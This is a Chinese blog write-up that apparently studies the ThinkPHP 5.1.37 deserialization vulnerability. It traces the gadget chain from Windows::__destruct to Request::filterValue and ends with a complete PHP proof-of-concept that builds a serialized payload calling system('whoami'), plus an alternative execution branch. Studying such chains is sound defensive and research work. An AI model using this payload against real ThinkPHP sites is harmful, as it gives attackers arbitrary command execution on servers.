logo头像

黑客的本质就是白嫖

thinkphp5.1.37反序列化漏洞学习

前言

各种漏洞复现学习

环境搭建

  • thinkphp 5.1.37
  • php 7.1.16

漏洞分析

漏洞起点为/thinkphp/library/think/process/pipes/Windows.php中的_destruct()函数

tp_unserialize_1

这里调用了两个函数,问题出在$this->removeFiles()函数中,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Windows extends Pipes
{

/** @var array */
private $files = [];
...
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
...
}

这里调用了file_exists()函数来判断文件是否存在,而在file_exists()中我们可以看到,传入的文件名是被当作一个字符串来处理的

tp_serialize_2

而当一个类被当作字符串处理时,会调用__toString()方法,所以$filename->__toString()方法会被调用。接下来我们需要寻找到一个实现了__toString()的类来进行下一步的利用

tp_unserialize_3

这样我们接着搜索__toString()方法

tp_unserialize_4

可以看到在/thinkphp/library/think/model/concern/Conversion.php中有一处调用,里面的$this->toJson()方法里存在一处满足:$可控变量->方法(参数可控)的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
trait Conversion
{
...
public function toArray()
{
...
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
...
}
...
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
...
public function __toString()
{
return $this->toJson();
}
...
}

上面toArray()函数中的$relation->visible($name)即满足前面所说的$可控变量->方法(参数可控),而要进入该语句需要$name为数组

而下面又有一个判断if(!$relation),这里$relation的值来自于$this->getRelation($key)$key$this->append数组中的键名,我们需要让$relation的值为空,看一下getRelation()函数代码

1
2
3
4
5
6
7
8
9
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

所以这里只要让$this->append中的键名为一个不存在的值就可以了

之后是进入判断的语句

1
2
$relation = $this->getAttr($key);
$relation->visible($name);

跟进getAttr()函数

1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
return $value;
}

该函数是/thinkphp/library/think/model/concern/Attribute.php文件中类Attribute的一个成员函数

这里调用了该类中的getData,跟进查看代码

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里的$name依旧是前面类Conversion里的$this->append中的$key,我们前面把它设置成了一个不存在的变量的值,这里我们要在类Attribute$this->data里面设置一个同样键名的值,键值则定义为我们需要利用的类,因为这里最终会返回到Conversion类中的$relation变量里

现在我们需要的是一个可以将Attribute类和Conversion类联动起来的一个类,毕竟我们序列化时只序列化一个类,而这里需要用到两个类里的变量。

而这里可以注意到的一点就是,类ConversionAttribute定义时使用的关键词都是trait

trait是自PHP 5.4.0起的一种代码复用方法,trait无法通过自身实例化,但是可以在继承类中使用use关键词来列出多个trait,类似于类的多继承

这样我们就需要找到一个同时use了这两个trait的类,当然大佬们已经找好了

/thinkphp/library/think/Model.php中的Model

1
2
3
4
5
6
7
8
9
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
...
}

现在我们先构造一部分代码吧,最后太多了怕脑子转不过来,现在涉及到的类有三个,Windows、Conversion、Attribute,由于我们找到了一个同时继承了ConversionAttributeModel类,所以涉及到的类剩下两个,不过由于Model类为抽象类,我们不能直接实例化,所以要么就找一个实现了Model类的类,要么就自己实现一个类,我看大佬们都是自己实现的一个类,所以这里也自己实现了,也就是一个继承的事

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace think;
abstract class Model {
protected $append = [];
private $data = [];
function __construct() {
$this->append = ['xixixi'=>['xi','xixi']];
$this->data = ['xixixi'=>'xixixixi'];
}
}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Dldxz;
class Windows {
private $file = [];
public function __construct() {
$this->file = [new Dldxz()];
}
}

namespace think\model;

use think\Model;
class Dldxz extends Model {}

use think\process\pipes\Windows;

echo base64_encode(serilaize(new Windows()));
?>

但是这样我们还执行不了任意命令,上面的代码只是构造出了之前所说的$可控变量->方法(参数可控)一半而已,也就是类Conversion中的$relation->visible($name),这里我们的变量和参数都可控了,但是方法我们不能利用,这时候就是另一个方法出场的时候了

__callPHP里面的一个魔术方法,官方文档中的描述是这样的

在对象中调用一个不可访问方法时,__call() 会被调用

而根据大佬的博客所说,一般的__call方法中都会使用__call_user_func($method, $args)__call_user_func($method, $args),所以我们接下来需要做的事情就是找一个没有visible方法并且实现了__call方法的类。

继续搜索,在/thinkphp/library/think/Request.php中找到一个可利用的__call()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Request
{
...

public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}
...
}

该处$this->hook也可控,这样我们就能够实现执行任意代码了,不过这里存在另一个问题,上面的array_unshift($args,$this)会将$this放到$args数组的第一个元素处,这样我们只能这样处理

1
2
3
call_user_func_array([$obj,"任意方法"],[$this,任意参数])
也就是
$obj->func($this,$argv)

这样的话就成了在Request类里面找到一个能够执行任意命令的利用了,而巧的是,Request里面方法filterValue(),这是很多个thinkphp漏洞的利用点,下面是该函数的代码

1
2
3
4
5
6
7
8
9
10
11
12
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
...
return $value;
}

phpstrom里面我们可以使用ctrl+b来找到调用了它的地方

tp_unserialize_5

根据大佬们的寻找,可以使用input()方法中的这条利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
$name = (string) $name;
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
...
return $data;
}

但是input()方法的参数我们还是不可控,所以我们不能直接使用input()方法,还需要找到对input()方法的调用,这就跟到了param()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function param($name = '', $default = null, $filter = '')
{
...
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

但是我们可以看到,param()方法中的参数不能完全可控,那就接着往上找

tp_unserialize_6

Request类中有四处对其的调用,其中isAjax()isPjax()能满足我们想要的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
public function isPjax($pjax = false)
{
$result = !is_null($this->server('HTTP_X_PJAX')) ? true : false;

if (true === $pjax) {
return $result;
}

$result = $this->param($this->config['var_pjax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

这里的$this->config['var_pjax']我们可控,所以param()中的$name可控,所以input()中的$name可控,这样我们还需要构造$filter使其在getFilter()方法中最后赋值为命令执行的函数名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

需要设置$this->filter,之后 就是构造POC再动态跟进一遍了,毕竟看着POC学还是会有点抽象,下面是大佬们构造出来的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["xixixi"=>["whoami","whoami"]];
$this->data = ["xixixi"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

tp_unserialize_7

跟了大概几十次,前面自己改了点东西老是弹不出计算器,最后发现笔者电脑上的tp文件夹内就根本弹不出计算器,自己建的文件也是这样,于是用了whoami,不过不断的反复调试过程中发现一个新的利用方式,虽然前面都一样就是代码执行点不同,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
$name = (string) $name;
...

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
...
}

同样是在Request类中的input方法里,大佬们都是走的if(is_array($data))这边,利用array_walk_recursive来执行命令,我在不断地弹不出计算器过程中偶然撞进了另一条分支,同样是调用filterValue函数,这边的话就是要在类定义时将Requst类里面的$config['var_ajax']置为一个字符串,这样代码会进入第二个分支,其他都和大佬们的poc一样

References

挖掘暗藏ThinkPHP中的反序列利用链

Thinkphp 反序列化利用链深入分析

ThinkPHP反序列化漏洞

评论系统未开启,无法评论!